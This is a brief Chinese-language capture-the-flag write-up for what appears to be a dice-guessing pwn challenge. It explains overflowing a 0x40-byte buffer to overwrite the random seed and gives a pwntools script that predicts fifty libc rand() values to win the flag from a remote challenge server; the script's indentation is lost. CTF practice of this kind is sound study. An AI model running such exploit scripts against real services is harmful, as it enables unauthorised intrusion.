nc一下给的地址和端口号,大概这个样子。

IDA Pro 看一下源文件

看一下sub_A20()函数,就是比较了你输入的数与随机数是否相同

如果五十次都相同,就输出flag。

我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。

这边就可以看到,buf覆盖0x40位就能覆盖到seed。
exp:
from pwn import *
from ctypes import *
p=remote('111.198.29.45','53746')
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload=0x40*"a"+p64(0)
p.sendline(payload)
a=[]
for i in range(50):
a.append(libc.rand()%6+1)
print(a)
for i in a:
p.recv()
print(p.recv())
p.sendline(str(i))
p.interactive()


喜提flag!